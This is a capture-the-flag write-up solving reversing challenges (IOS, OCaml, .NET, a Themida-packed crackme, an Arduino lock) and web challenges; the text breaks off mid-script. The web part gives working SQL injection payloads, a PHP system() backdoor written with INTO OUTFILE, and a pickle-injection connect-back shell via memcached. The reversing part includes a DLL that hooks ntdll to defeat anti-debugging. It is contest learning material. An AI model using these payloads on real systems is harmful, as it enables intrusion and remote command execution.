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1 Trivia

1.1 Division Is Hard
We found an old document in one of the AED offices.
However, the text is distorted.
Figure out what the corrupted value is.
1.3337 = XXXXXXX/3145727

We first see the result of 1.3337 * 3145727 : = 4195456
This is not the answer, we try 4195457 neither...
We google 1.3337 = /3145727 and directly fall to pages related to the famous Pentium FDIV
bug (http://www.cs.earlham.edu/~dusko/cs63/fdiv.html)
Solution:4195835

2 Reversing

2.1 Here, There Be Dragons

After breaking into the AED network, we stumbled across a router with custom software
loaded.
Intrigued by this discovery, we sent in a team and extracted the software.
Reverse engineer this strange code, and report back.

We have a IOS mips-C3725 binary wich ask us a key.
Just open it with IDA, we easily locate the verification of the key in the 80008478 function.
We recognise a atoi like function.
The result of atoi(serial) is compared with the return value of a syscall, to get this value we
can patch the binary to always set the "atoi" variable equal to the return value or we can set a
breakpoint by patching the binary and look the vo value in the emulator.
We choose the second option and used the dynamips emulator.
We get the return value of the syscall : 0x8000000 = 134217728d so the serial is 134217728,
we enter it and get the flag :

Launching IOS image at 0x80008000...
Welcome to PPP IOS for C3725!
Secret: 134217728
IsntCiscoGreat?

Solution:IsntCiscoGreat?

2.2 Black Box
After breaking into the AED network, we stumbled across a router with custom software
loaded.
Intrigued by this discovery, we sent in a team and extracted the software.
Reverse engineer this strange code, and report back.
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This challenge is an ocaml compiled code. It’s a pain in the ass to study this kind of code but
with IDA, the symbols, edb (pretty good debugger) to find the address of indirect calls and
some patience it is possible to understand it ...
The code use a lot of list comprehension code.
The serial is a list of big integer, all of those big integer must be non zero and they must be
coprimes (understand gcd(s1,s2,s3,s4, ...) 6= 1).
Those integers are treated as coefficient of a polynomial wich have 36, 63, 106, 136, 133, 163,
8, 211, 19, 25, 138, 46, 3, 112, 115 and 68 as roots.
If we enter 1 2 3 as a serial, (3x + 2)x + 1 is calculated and must be zero for each x ∈
{36,63,106,136,133,163,8,211,19,25,138,46,3,112,115,68}.
To find those coefficient you can calculate the polynomial (36− x)× (63− x)× (106− x)×
. . . the coefficient will give you the serial. We hadn’t realize that and we have just used a
web page wich use the Gaussian elimination to solve the system of equation - http://www.
bluebit.gr/matrix-calculator/linear_equations.aspx -
Because all the coefficient must be coprimes, there is only one possible solution :

9479295671243074176761856000 -6551248595063832925895024640
1632091660401550857731260416 -208919497354181139481316736
16122668728388772065405824 -819075444148960914996536
28898610282463485095708 -732580801086815963338 13630105875615996273
-188330969821601652 1939341217040988 -14810263920384
82616427462 -326724772 866768 -1382 1

we just compute the sha1 of the result to get the pass :

cat in | ./53077678ac755647aa16f3bcdf4b26d0ea56b604.bin | sha1sum
976dbe384c89b4d521d22d8aac219648ae0cce2d

Solution:976dbe384c89b4d521d22d8aac219648ae0cce2d

2.3 Fun with Numb3rs
Uh oh..
This door is protected with number scroll authenticator. There’s "powered by .NETv4" sign.
Find out the combination and get the key!

This is a .net 4.0 binary, we use reflector to decompile it.
There is 3 scroll bar from 0 to 0x108, we just bruteforce the combinaison with a python script
:

1 for i in xrange(0, 0x108):
2 for j in xrange(0, 0x108):
3 for h in xrange(0, 0x108):
4

5 #a=(h+j*i)-j+(h*h*j-i)
6 #b=j*((i*0x22)+(h*3-h))+0x1d40
7 num=h
8 num2=j
9 num3=i
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10 num4=i*j
11 num5=num*3
12

13 a=((((num + num4) - num2) + ((num * num) * num2)) - num3)
14

15 b=(((num2 * ((num3 * 0x22) + (num5 - num))) + 0x1d40))
16

17 if a==b and num > 0x4d:
18 print h, i, j
19 break

This give us 89, 144, 233.
Solution:57E64BEF998A8F141970CFF163F90BA3

2.4 I’m feeling Lucky!

We found that one of the executives of AED keeps using ’Fortune Cookie’ program everyday
before he logs in to his *very* important machine.
We extracted the program, and we are certain that there’s a key hidden somewhere in the binary.
Reverse engineer and get the key!

We have a windows binary which display random messages, it is said that there must be an hid-
den message.
To find it we will display all the possible messages.
We fastly found that messages are decrypted by using the ADVAPI32.CryptDecrypt API and
that there is 0xF2 possible messages, the value of edx at 0403FAB given the index of the next
message to display.
All we have to do now is to patch a little bit the program in memory and add a conditionnal log
breakpoint to retrieve the complete list of the messages and here it is :

[...]
00404012 COND: eax = 00D8F748 "Your character can be described as natural and unrestrained."
00404012 COND: eax = 00D865D0 "Your difficulties will strengthen you."
00404012 COND: eax = 00D8FBA8 "Oh YEAH, this is THE k3y U r L0ok1ng FOr :)"
00404012 COND: eax = 00D8F748 "Your dreams are worth your best efforts to achieve them."
00404012 COND: eax = 00D8FBA8 "Your energy returns and you get things done."
[...]

Solution:Oh YEAH, this is THE k3y U r L0ok1ng FOr :)

2.5 The App Store!

We found the mobile phone that’s left in one of the office.
Out of all applications, The Color Game App seemed suspicious.
We believe the solution to this game is the password of the user for the computer next to it.
Solve it! and get the password!
Key is the color sequence of the buttons in all lower case with no spaces [e.g. redyellowblue-
greenred]
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This is an iPhone app, we just use IDA and hexray to understand it. . .
__reverseMeViewController_viewDidLoad_ create an array of strings

1 objc_msgSend(HOLYHANDGRENADEOBJECT, pAddObject, &cfstr_Blue);
2 objc_msgSend(HOLYHANDGRENADEOBJECT, pAddObject, &cfstr_Green);
3 // [...]

This array will be compared with an other one, created when buttons are hitted, here is the code
for one handler :

1 objc_msgSend(DONKEYOBJECT, pAddObject[0], &cfstr_Blue);
2 // [...]
3 objc_msgSend(unk_5250, pImageNamed[0], &cfstr_A_png);

a.png is red so when red button is hitted, Blue is added to the array. All we have to do now is
to dump the HOLYHANDGRENADE array and replace the colors names by real one :
list of strings : BlueGreenYellowBlueRedRedRedBluePurpleYellowGreenOrangeBlueBlue
real colors : redyellowgreenredblueblueblueredpurplegreenyelloworangeredred
Solution:redyellowgreenredblueblueblueredpurplegreenyelloworangeredred

2.6 I’M HUNGRY!..as hell
AED came up with a secret sharing program that looks like innocent food ordering program.
However, there is an information that if you are able to order the following set of food, you
can get the secret key.

IMPORTANT: SOUND is VERY VERY IMPORTANT for this mission!!!! MAKE THE
VOLUME LARGE before you actually do stuff...

Reverse the program to find out the key!

10 Regular Hamburgers
5 Cheeseburgers
17 French Fries
8 Hot Dogs
20 Regular Coke

This challenge is a windows binary protected with a lot of packer, if I’m not wrong, I’ve recog-
nised — at least — Armadillo and Themida.
The goal is to enter an huge list in the app wich is limited in size and have a max prize.
We hadn’t understand that and we tryed to study the virtualized decryption function that taked
us a lot of time for nothing . . .
As the program is protected by themida, a watchdog thread is created and periodically search
for a debugger, if one is detected, the program is killed. To attach our debugger anyway, all we
have to do is to kill this thread — as there is no watchdog thread to monitor the watchdog thread
;) and no interaction between the programm and this thread —. It is done with ProcessExplorer,
the watchdog thread being the third one.
An other anti-debugger protection is set — by the crackme or one of the packers, I don’t know
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— by using NtSetInformationThread with the value ThreadHideFromDebugger.
If you set a BreakPoint or try to trace the program step by step in the main thread, the exception
will not be passed to the debugger and will be catch by the process which will thank you with
a "fuck you" song — http://baboon.rce.free.fr/download/fuckyouppp.wav —
Even if it is not necessary to use breakpoint or single step, as we hadn’t understand the rules, I
have created a DLL wich hook NtSetInformationThread and block this anti debugger — I
give it just because I’ve coded it, we will not use it to solve the crackme — :

1 #include "main.h"
2 #include "LDE64.h"
3 #include <windows.h>
4

5 static HANDLE hHeap = NULL;
6 static PBYTE pzwsetinformationthread = NULL;
7

8 static HMODULE hModule;
9

10 typedef enum _THREAD_INFORMATION_CLASS {
11 ThreadBasicInformation,
12 ThreadTimes,
13 ThreadPriority,
14 ThreadBasePriority,
15 ThreadAffinityMask,
16 ThreadImpersonationToken,
17 ThreadDescriptorTableEntry,
18 ThreadEnableAlignmentFaultFixup,
19 ThreadEventPair,
20 ThreadQuerySetWin32StartAddress,
21 ThreadZeroTlsCell,
22 ThreadPerformanceCount,
23 ThreadAmILastThread,
24 ThreadIdealProcessor,
25 ThreadPriorityBoost,
26 ThreadSetTlsArrayAddress,
27 ThreadIsIoPending,
28 ThreadHideFromDebugger
29 } THREAD_INFORMATION_CLASS, *PTHREAD_INFORMATION_CLASS;
30

31 static NTSTATUS (WINAPI *HookFreeZwSetInformationThread)(
32 IN HANDLE ThreadHandle,
33 IN THREAD_INFORMATION_CLASS ThreadInformationClass,
34 IN PVOID ThreadInformation,
35 IN ULONG ThreadInformationLength );
36

37 BOOL hookFun(PBYTE API, PBYTE hookfun, FARPROC* originalAPI)
38 {
39 DWORD oldProtect;
40 PBYTE originalBytes;
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41 int len;
42 int i;
43

44 #ifndef HEAP_CREATE_ENABLE_EXECUTE
45 #define HEAP_CREATE_ENABLE_EXECUTE 0x00040000
46 #endif
47

48 if ((! hHeap) && (!(hHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0,0))))
49 return FALSE;
50 if (! (*originalAPI = (FARPROC)HeapAlloc(hHeap, 0, 30)))
51 return FALSE;
52 originalBytes = (PBYTE)*originalAPI;
53 if (! VirtualProtect(API, 5+20, PAGE_EXECUTE_READWRITE, &oldProtect))
54 return FALSE;
55 for (i = 0; i < 5; i += len)
56 {
57 len = LDE(API+i,LDE_X86);
58 if (len == -1)
59 return FALSE;
60 memcpy(originalBytes+i,API+i,len);
61 }
62 *(originalBytes+i) = 0xE9;
63 *(PDWORD)(originalBytes+i+1) = API-originalBytes-5;
64 *API = 0xE9;
65 *(PDWORD)(API + 1) = hookfun-API-5;
66 if (! VirtualProtect(API, 5+20, oldProtect, &oldProtect))
67 return FALSE;
68 return TRUE;
69 }
70

71 static NTSTATUS WINAPI HookedZwSetInformationThread(
72 IN HANDLE ThreadHandle,
73 IN THREAD_INFORMATION_CLASS ThreadInformationClass,
74 IN PVOID ThreadInformation,
75 IN ULONG ThreadInformationLength )
76 {
77 if (ThreadInformationClass == ThreadHideFromDebugger)
78 return 0;
79 return HookFreeZwSetInformationThread(ThreadHandle,ThreadInformationClass,

ThreadInformation,ThreadInformationLength );
80 }
81

82 BOOL setHooks(void)
83 {
84 HMODULE hNtdll;
85 if (! (hNtdll = GetModuleHandleA("ntdll")))
86 return FALSE;
87 pzwsetinformationthread = (PBYTE)GetProcAddress(hNtdll, "

ZwSetInformationThread");
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88 if (! pzwsetinformationthread)
89 {
90 MessageBoxA(0, "FAIL", "FAIL", 0);
91 return 0;
92 }
93 if (! hookFun(pzwsetinformationthread, (PBYTE)HookedZwSetInformationThread, (

FARPROC*)&HookFreeZwSetInformationThread))
94 {
95 MessageBoxA(0, "FAIL", "FAIL", 0);
96 return 0;
97 }
98 return TRUE;
99 }

100

101 BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
102 {
103 switch (fdwReason)
104 {
105 case DLL_PROCESS_ATTACH:
106 hModule = hinstDLL;
107 return setHooks();
108 break;
109 case DLL_PROCESS_DETACH:
110 break;
111 case DLL_THREAD_ATTACH:
112 // attach to thread
113 break;
114 case DLL_THREAD_DETACH:
115 // detach from thread
116 break;
117 }
118 return TRUE; // succesful
119 }

So, to solve this crackme, just launch it, start to enter the elements in the list, when the first
message appear — "You cannot have more than 25 items in your cart." —, launch process
explorer, kill the third thread, attach olly to the process, suspend the process and look at the
stack to find where the message is displayed and so where the comparison between 25 and the
number of items in your cart is done :

CPU Stack
Address Value Comments
0012F0A8 0067AB97 ; the return address of the call
0012F0AC 0303C188 ; UNICODE "You cannot have more than 25 items in your cart."
0012F0B0 00B20F3C

1 CPU Disasm
2 ;Address Hex dump Command Comments
3 0067AB77 3B05 E04CC700 CMP EAX,DWORD PTR DS:[0C74CE0] ; the comparison :)

8



4 0067AB7D 75 1E JNE SHORT 0067AB9D
5 0067AB7F 6A 00 PUSH 0
6 0067AB81 68 3C0FB200 PUSH 00B20F3C ; UNICODE "Cannot Buy Anymore!"
7 0067AB86 8D4D AC LEA ECX,[EBP-54]
8 0067AB89 E8 30B9FEFF CALL 006664BE
9 0067AB8E 50 PUSH EAX

10 0067AB8F 8B4D EC MOV ECX,DWORD PTR SS:[EBP-14]
11 0067AB92 E8 AB49FEFF CALL 0065F542
12 0067AB97 C645 BB 01 MOV BYTE PTR SS:[EBP-45],1
13 0067AB9B EB 2E JMP SHORT 0067ABCB

We just replace the value 25 in 0C74CE0 by 9999999 and we resume the process.
Near the end of the order, we’ve got an other message : "Maximum dollar amount has been
reached ...", we just do the same thing than above : suspend -> stack -> patch :

CPU Stack
Address Value Comments
0012F0A8 0067ABC7 ; RETURN from crackme.006B7B20 to crackme.0067ABC7
0012F0AC 00B20ED8 ; UNICODE "Maximum dollar amount has been reached..."
0012F0B0 00B20F3C ; UNICODE "Cannot Buy Anymore!"

1 CPU Disasm
2 Address Hex dump Command
3 0067AB9D DD05 D0EAC700 FLD QWORD PTR DS:[0C7EAD0] ; FLOAT 180

.4000000000001
4 0067ABA3 DC45 C4 FADD QWORD PTR SS:[EBP-3C]
5 0067ABA6 DC1D C8EAC700 FCOMP QWORD PTR DS:[0C7EAC8] ; FLOAT 181

.3781738281250
6 0067ABAC DFE0 FSTSW AX
7 0067ABAE F6C4 01 TEST AH,01
8 0067ABB1 75 18 JNE SHORT 0067ABCB
9 0067ABB3 6A 00 PUSH 0

10 0067ABB5 68 3C0FB200 PUSH 00B20F3C ; UNICODE "Cannot Buy Anymore!"
11 0067ABBA 68 D80EB200 PUSH 00B20ED8 ; UNICODE "Maximum dollar amount has

been reached..."
12 0067ABBF 8B4D EC MOV ECX,DWORD PTR SS:[EBP-14]
13 0067ABC2 E8 7B49FEFF CALL 0065F542

we replace the 181.38 float value at 0C7EAC8 by an huge one and we resume the process and
that’s it.
Solution:Th3m1d4_iS_s!cK
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2.7 ECE’s revenge

In order to get access to another server room we need to gain access to a secure room. Unfor-
tunately, this door has been locked with a custom high security lock produced at Amalgamated
Electro Dynamics.

Luckily, we’ve recovered both a copy of the circuit diagram for the lock, as well as the original
source code from the microcontroller (an arduino, those damn n00bs). Your job is to select the
proper input for the lock in order to open the door.

The good news is that there are only 10 bits of inputs. The bad news is it takes a few seconds
to try each possible combination. Also, because of low battery power, we need to boost the
signals for the door lock before the input to the arduino. That means you need to specify the
input to the original circuit and the output from the circuit (which is the same as the input to
the arduino). When you get the right password, the door should unlock and reveal the key for
the challenge.

Good luck!

We just modify the Arduino code to bruteforce the valid input :

1 #include <stdio.h>
2 #include <stdlib.h>
3

4 unsigned char* db[256];
5 unsigned char ck[8];
6

7 void setup()
8 {
9 db[0] = "unravelled";

10 db[1] = "coached";
11 db[2] = "paroxysms";
12 db[3] = "Av";
13 db[4] = "tarted";
14 db[5] = "energized";
15 db[6] = "ironical";
16 db[7] = "jailer";
17 db[8] = "cheesed";
18 db[9] = "haggling";
19 db[10] = "background";
20 db[11] = "squeaking";
21 db[12] = "rehired";
22 db[13] = "woefuller";
23 db[14] = "rollerskating";
24 db[15] = "God";
25 db[16] = "queens";
26 db[17] = "nighttime";
27 db[18] = "insulators";
28 db[19] = "maneges";
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29 db[20] = "womanizers";
30 db[21] = "owner";
31 db[22] = "pinfeather";
32 db[23] = "snuffled";
33 db[24] = "extroversion";
34 db[25] = "maddening";
35 db[26] = "height";
36 db[27] = "intervene";
37 db[28] = "fulfils";
38 db[29] = "sifted";
39 db[30] = "recovery";
40 db[31] = "Diaspora";
41 db[32] = "bitings";
42 db[33] = "solvents";
43 db[34] = "unhooking";
44 db[35] = "perpetuate";
45 db[36] = "fears";
46 db[37] = "Barranquilla";
47 db[38] = "dabbled";
48 db[39] = "curd";
49 db[40] = "thin";
50 db[41] = "tadpole";
51 db[42] = "albinos";
52 db[43] = "Unicode";
53 db[44] = "Bulgarian";
54 db[45] = "tannest";
55 db[46] = "rubbish";
56 db[47] = "spiritualism";
57 db[48] = "supplest";
58 db[49] = "nauseated";
59 db[50] = "polyphony";
60 db[51] = "parricide";
61 db[52] = "garlicking";
62 db[53] = "sixths";
63 db[54] = "farming";
64 db[55] = "Taurus";
65 db[56] = "surpasses";
66 db[57] = "dismounted";
67 db[58] = "whimsies";
68 db[59] = "protrudes";
69 db[60] = "outhouses";
70 db[61] = "unhook";
71 db[62] = "secs";
72 db[63] = "aspirating";
73 db[64] = "loiterer";
74 db[65] = "defeats";
75 db[66] = "syphilises";
76 db[67] = "sickled";
77 db[68] = "overindulgence";
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78 db[69] = "crumb";
79 db[70] = "vulgarer";
80 db[71] = "exacting";
81 db[72] = "reverencing";
82 db[73] = "Suez";
83 db[74] = "supercomputer";
84 db[75] = "irritation";
85 db[76] = "megs";
86 db[77] = "hamburger";
87 db[78] = "relinquished";
88 db[79] = "primrosing";
89 db[80] = "scurviest";
90 db[81] = "lintels";
91 db[82] = "gallows";
92 db[83] = "singularity";
93 db[84] = "lustily";
94 db[85] = "snoozing";
95 db[86] = "Louisianan";
96 db[87] = "gonorrhoea";
97 db[88] = "readiness";
98 db[89] = "peroration";
99 db[90] = "steals";

100 db[91] = "builds";
101 db[92] = "imbalanced";
102 db[93] = "stationing";
103 db[94] = "pessimist";
104 db[95] = "manure";
105 db[96] = "perpendicular";
106 db[97] = "allocated";
107 db[98] = "aorta";
108 db[99] = "dermatologist";
109 db[100] = "uselessness";
110 db[101] = "Kramer";
111 db[102] = "transience";
112 db[103] = "civilization";
113 db[104] = "explorer";
114 db[105] = "corrective";
115 db[106] = "tilled";
116 db[107] = "whale";
117 db[108] = "jeer";
118 db[109] = "hunt";
119 db[110] = "scalloped";
120 db[111] = "retorted";
121 db[112] = "delineate";
122 db[113] = "pools";
123 db[114] = "voles";
124 db[115] = "superpowers";
125 db[116] = "expert";
126 db[117] = "diverge";
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127 db[118] = "Easterners";
128 db[119] = "nightclubs";
129 db[120] = "blindsiding";
130 db[121] = "sapped";
131 db[122] = "purification";
132 db[123] = "Coleman";
133 db[124] = "Hausdorff";
134 db[125] = "hydrotherapy";
135 db[126] = "titter";
136 db[127] = "flash";
137 db[128] = "cauterizing";
138 db[129] = "adjudged";
139 db[130] = "convict";
140 db[131] = "Hargreaves";
141 db[132] = "Crest";
142 db[133] = "greenest";
143 db[134] = "forgone";
144 db[135] = "totaling";
145 db[136] = "flunks";
146 db[137] = "Gil";
147 db[138] = "incubate";
148 db[139] = "generator";
149 db[140] = "beneficent";
150 db[141] = "impends";
151 db[142] = "journeymen";
152 db[143] = "grouped";
153 db[144] = "customizes";
154 db[145] = "slandering";
155 db[146] = "technician";
156 db[147] = "Nicaragua";
157 db[148] = "misdoing";
158 db[149] = "particles";
159 db[150] = "dells";
160 db[151] = "holster";
161 db[152] = "wand";
162 db[153] = "mushes";
163 db[154] = "overpowered";
164 db[155] = "scrimps";
165 db[156] = "interviewers";
166 db[157] = "Jeff";
167 db[158] = "diffident";
168 db[159] = "cramming";
169 db[160] = "macrons";
170 db[161] = "adapters";
171 db[162] = "Epicurean";
172 db[163] = "listener";
173 db[164] = "Ghazvanid";
174 db[165] = "blinkers";
175 db[166] = "dishtowels";
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176 db[167] = "yuckiest";
177 db[168] = "swords";
178 db[169] = "sympathizer";
179 db[170] = "interlarding";
180 db[171] = "biplanes";
181 db[172] = "timid";
182 db[173] = "charting";
183 db[174] = "unionize";
184 db[175] = "cuffed";
185 db[176] = "dogmatists";
186 db[177] = "affirmatively";
187 db[178] = "rams";
188 db[179] = "prevalent";
189 db[180] = "torpedoes";
190 db[181] = "setup";
191 db[182] = "thronged";
192 db[183] = "deploying";
193 db[184] = "battled";
194 db[185] = "targeting";
195 db[186] = "rug";
196 db[187] = "doughier";
197 db[188] = "relented";
198 db[189] = "riffle";
199 db[190] = "orthogonality";
200 db[191] = "wholesomeness";
201 db[192] = "reeling";
202 db[193] = "Hubble";
203 db[194] = "requiting";
204 db[195] = "fireplaces";
205 db[196] = "placarding";
206 db[197] = "unrivalled";
207 db[198] = "registered";
208 db[199] = "bow";
209 db[200] = "lifesavers";
210 db[201] = "evacuation";
211 db[202] = "howdies";
212 db[203] = "hexed";
213 db[204] = "Lao";
214 db[205] = "mayday";
215 db[206] = "binning";
216 db[207] = "filthy";
217 db[208] = "Inge";
218 db[209] = "plusher";
219 db[210] = "temple";
220 db[211] = "shrimped";
221 db[212] = "mendicants";
222 db[213] = "irresponsibly";
223 db[214] = "chronically";
224 db[215] = "ploy";
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225 db[216] = "nought";
226 db[217] = "closeted";
227 db[218] = "differs";
228 db[219] = "reheats";
229 db[220] = "dirtiest";
230 db[221] = "denouncing";
231 db[222] = "aforementioned";
232 db[223] = "muffing";
233 db[224] = "humpbacked";
234 db[225] = "Jerrold";
235 db[226] = "progesterone";
236 db[227] = "papping";
237 db[228] = "bilges";
238 db[229] = "hobgoblin";
239 db[230] = "virtuously";
240 db[231] = "Quonset";
241 db[232] = "Blackstone";
242 db[233] = "widespread";
243 db[234] = "politicizing";
244 db[235] = "avert";
245 db[236] = "caduceus";
246 db[237] = "clamber";
247 db[238] = "rakishly";
248 db[239] = "Chibcha";
249 db[240] = "flooded";
250 db[241] = "her";
251 db[242] = "overstepping";
252 db[243] = "pureness";
253 db[244] = "utility";
254 db[245] = "yeah";
255 db[246] = "fortune";
256 db[247] = "unforgiving";
257 db[248] = "documentary";
258 db[249] = "debarring";
259 db[250] = "forsythia";
260 db[251] = "blossoms";
261 db[252] = "detonates";
262 db[253] = "Hanukkahs";
263 db[254] = "velocity";
264 db[255] = "procedure";
265

266 ck[0] = 31;
267 ck[1] = -48;
268 ck[2] = 13;
269 ck[3] = 53;
270 ck[4] = 9;
271 ck[5] = 96;
272 ck[6] = 60;
273 ck[7] = -15;
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274 }
275

276 int h(char* k) {
277 unsigned char S[256];
278 int j = 0;
279 unsigned int l = strlen(k);
280 int i;
281

282 for(i=0;i < 256;i++) {
283 S[i] = (unsigned char)i;
284 }
285

286 for(i=0;i < 256;i++) {
287 unsigned char t;
288 j = (j + S[i] + (k[i % l]) + 256) % 256;
289 t = S[j];
290 S[j] = S[i];
291 S[i] = t;
292 }
293

294 for(i=0;i < 8;i++)
295 if (S[i] != ck[i])
296 return 0;
297 return 1;
298 }
299

300 int main()
301 {
302 int i;
303 setup();
304 for (i = 0; i < 256; i++)
305 if (h(db[i]))
306 printf("%02X %s\n", i, db[i]);
307 }

We’ve got the result : ED clamber
So all we have to do now is to find the 10 bits to enter in the circuit to have the good 8bit
of Arduino input — OxED = 11101101 — to find them, I have recoded the circuit in C and
bruteforce the 10 bits, the tricky part being the component wich convert a 4bit number into a
seven segment signal — used to display numbers on your old calc for example —.

1 #include <stdio.h>
2 #include <stdlib.h>
3

4 unsigned char in[10];
5 unsigned char o1, o2, o3, o4, o5, o6, o7, o8;
6

7 void bdc2digit(unsigned char*r, unsigned char a, unsigned char b, unsigned char c
, unsigned char d)

8 {
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9 static const unsigned char corr[] = {0x7E, 0x30, 0x6D, 0x79, 0x33, 0x5B, 0x1F
, 0x70, 0x7F, 0x73, 0xd, 0x19, 0x23, 0x4B, 0xF, 0};

10

11 unsigned char value = a | (b << 1) | (c << 2) | (d << 3);
12 unsigned char digit = corr[value];
13 int i;
14 for (i = 6; i >= 0; i--)
15 {
16 r[i] = digit & 1;
17 digit >>= 1;
18 }
19 }
20

21 void doit()
22 {
23 unsigned char a,b,c,d,e,f[7],g,h,i;
24 unsigned char j, k, l, m, n;
25 unsigned char o, p, q, r;
26 unsigned char s;
27 unsigned char t;
28

29 a = in[0] & in[1];
30 b = in[0] & in[2];
31 c = in[1] & in[2];
32 d = in[3] & in[4];
33 e = (in[5] & in[6]) ? 0 : 1;
34 bdc2digit(f, d, in[4], in[5], e);
35 g = in[8] ^ in[7];
36 h = g & in[9];
37 i = in[8] & in[7];
38

39 k = b | c;
40 j = k | a;
41 l = f[0] & f[1];
42 m = in[9] ^ g;
43 n = h ^ i;
44

45 o = k | c;
46 p = c & l;
47 q = f[2] & f[3];
48 r = f[6] | m;
49

50 s = p ? 0 : 1;
51

52 t = s ^ q;
53

54 o1 = n;
55 o2 = m;
56 o3 = r;
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57 o4 = f[5];
58 o5 = f[4];
59 o6 = t;
60 o7 = o;
61 o8 = j;
62 }
63

64 int main()
65 {
66 unsigned int i, j;
67

68 for (i = 0; i < (1 << 10); i++)
69 {
70 unsigned int k = i;
71 for (j = 0; j < 10; j++)
72 {
73 in[j] = k & 1;
74 k >>= 1;
75 }
76 doit();
77 if (o1 && o2 && o3 && (! o4) && o5 && o6 && (! o7) && o8)
78 {
79 for (j = 0; j < 10; j ++)
80 printf("%d ", in[j]);
81 printf("\n");
82 }
83 }
84 return 0;
85 }

There is 2 valid input, the one to unlock the door is the first one (iirc) :

1 1 0 0 1 0 0 1 1 1
1 1 0 0 1 0 1 1 1 1

Solution:IHaveNotSavedTheFlagSorry

3 Web

3.1 Django...really?

A.E.D. has setup a new guestbook application!
Go check it out at http://a12.amalgamated.biz/DjangoProblem1/

I hear that it is really fast!

We had access to a simple guestbook with a form. We tried to trigger a bug unsuccessfully. At
first, we thought the vulnerability might be a flaw in csrf handling because of the advisory pub-
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lished last february. The app was reacting strangely to the csrf cookie, (re)setting it multiple
times, but then the organizers removed the csrf check altogether.

We were stuck at this point until a hint was given: django settings file contained a reference
to a memcached server. We hadn’t tried to scan the server because this mission was labelled
"web", but with this new information about memcached we tried to connect on the given port
and it was open. A presentation was given at black hat usa 2010 about open memcached server
exploitation and a tool was released, "go-derper".

We installed the tool and obtained all cached data on the server. The data had been serialized
with pickle by Django. From there, we only had to inject a modified pickle string to execute
arbitrary commands. We executed netcat to get a connect-back shell and found the key.

3.2 SHA1 is fun
We found an internal AED website that requires a username and password. Break in and find
the key.

http://a11.club.cc.cmu.edu:32065/problem1.php?p=pages/index

We try http://a11.club.cc.cmu.edu:32065/pages/index and we get the source of index :

1 <?php
2

3

4 if(!empty($_POST[’username’]) && !empty($_POST[’password’]))
5 {
6 $password = sha1($_POST[’password’], true);
7 $username = htmlspecialchars($_POST[’username’]);
8

9 $db = mysql_connect("localhost", "problem1", "css7UjBmevbm");
10 mysql_select_db("problem1",$db);
11 $rs = mysql_query("SELECT * FROM authtable WHERE password = \"$password\"

AND username = \"{$_POST[’username’]}\"");
12

13 if(mysql_num_rows($rs) <= 0)
14 echo ’Wrong username/password.<br />’;
15 else
16 echo "Welcome {$_POST[’username’]}.<br />";
17 }
18 ?>
19

20 <form method="post" name="form1">
21 Username: <input type="textbox" name="username" maxlength="10" /><br />
22 Password: <input type="textbox" name="password" maxlength="10" /><br />
23 <input type="submit" name="submit" />
24 </form>
25 <p>
26 Notices:<br />
27 This system is now using the advanced SHA1 encryption function. Call the helpdesk

if you need to change your password.
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28

29

30 </p>

Let’s see what happens :
SELECT * FROM AUTHTABLE WHERE PASSWORD = "$PASSWORD" AND USERNAME

= "{$_POST[’USERNAME’]}"

$PASSWORD = SHA1($_POST[’PASSWORD’], TRUE);
raw_output of SHA1($_POST[’PASSWORD’]) see http://php.net/manual/fr/function.
sha1.php

$USERNAME = HTMLSPECIALCHARS($_POST[’USERNAME’]);
We don’t care, look at the query, it doesn’t use $username... The developper was probably
drunk or tired ;)

So let’s recap :
We control the username, and we can bypass the password. Example :
–> SELECT * FROM AUTHTABLE WHERE PASSWORD = "SOMETHING"="SOMETHING"
AND USERNAME = "" INJECTION-- -"
PASSWORD = "SOMETHING"="SOMETHING" will always return true. It’s not a bogus, if you
wanna understand more, check out http://bugs.mysql.com/bug.php?id=39337

–> SELECT * FROM AUTHTABLE WHERE PASSWORD = "SOMETHING\" AND USER-
NAME = " INJECTION-- -"
This one is so perfect because you can attack even with magic_quotes set to on on the server.

A PHP script which brute force sha1() in raw_output mode to find a result matching 1 of
those 2 bypass situations :

1 <?php
2 for($bf=0; $bf<1000000; $bf++)
3 {
4 $pwn = sha1($bf, TRUE); // return 20 chars
5 if(strpos($pwn, "\"=\"") != FALSE || strpos($pwn, "\\", 19) != FALSE)
6 echo "Found : sha1($bf, TRUE) == $pwn\r\n";
7 }
8 ?>

Found : sha1(17, TRUE) == ??p?2??j???w?w?\%6\
...
Found : sha1(256418, TRUE) == zs??]??????"="^weO:?
...

We can extract many information from the database, but it’s finally not really successful :
Version : 5.1.49-3
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User : problem1@localhost
Schemas : information_schema,problem1
problem1 table : authtable
authtable columns : username,password,comment,id
authtable row : admin:::1
perms : ’problem1’@’%’:FILE:NO

You’ll be able to look how everything was extracted in the comments of my script.

Then we extract problem1.php with LOAD_FILE(0x2f7661722f7777772f70726f626c656d312e706870)
–> 0x2f7661722f7777772f70726f626c656d312e706870 for "/var/www/problem1.php" in hex,
it one time again bypass magic_quotes.

And we find something interesting :

1 $path = realpath($_REQUEST[’p’]);
2 (strpos($path, "pages") !== false) or die("Invalid page.");

Let’s upload our backdoor. Remember, there are 4 columns (username,password,comment,id)

UNION SELECT 1,2,3,"<?php system($_GET[’CoP’]); ?>" INTO OUTFILE "/tmp/pagespwned.php

We could have encoded the PHP in hex but it’s unfortunately useless here. Indeed, there is no
way to bypass magic_quotes because INTO OUTFILE doesn’t support hex encoding.

http://a11.club.cc.cmu.edu:32065/problem1.php?p=/tmp/pagespwned.php&CoP=cat /key
--> 1 2 3 IAMAMYSQLBITCH!!

The python script used :

1 import logging
2 import httplib
3 import urllib
4 import sys
5

6 # SQLi = ’ OR MID(LPAD(BIN((SELECT ORD(MID(@@version,pos_char,1))))
,8,0),pos_bit,1)=1-- -’

7 # --> 5.1.49-3
8 # SQLi = ’ OR MID(LPAD(BIN((SELECT ORD(MID(user(),pos_char,1))))

,8,0),pos_bit,1)=1-- -’
9 # --> problem1@localhost

10 # SQLi = ’ OR MID(LPAD(BIN((SELECT ORD(MID(GROUP_CONCAT(schema_name)
,pos_char,1)) FROM information_schema.schemata)),8,0),pos_bit,1)
=1-- -’

11 # --> information_schema,problem1
12 # SQLi = ’ OR MID(LPAD(BIN((SELECT ORD(MID(GROUP_CONCAT(table_name),

pos_char,1)) FROM information_schema.tables WHERE table_schema="
information_schema")),8,0),pos_bit,1)=1-- -’

13 # --> authtable
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14 # SQLi = ’ OR MID(LPAD(BIN((SELECT ORD(MID(GROUP_CONCAT(column_name)
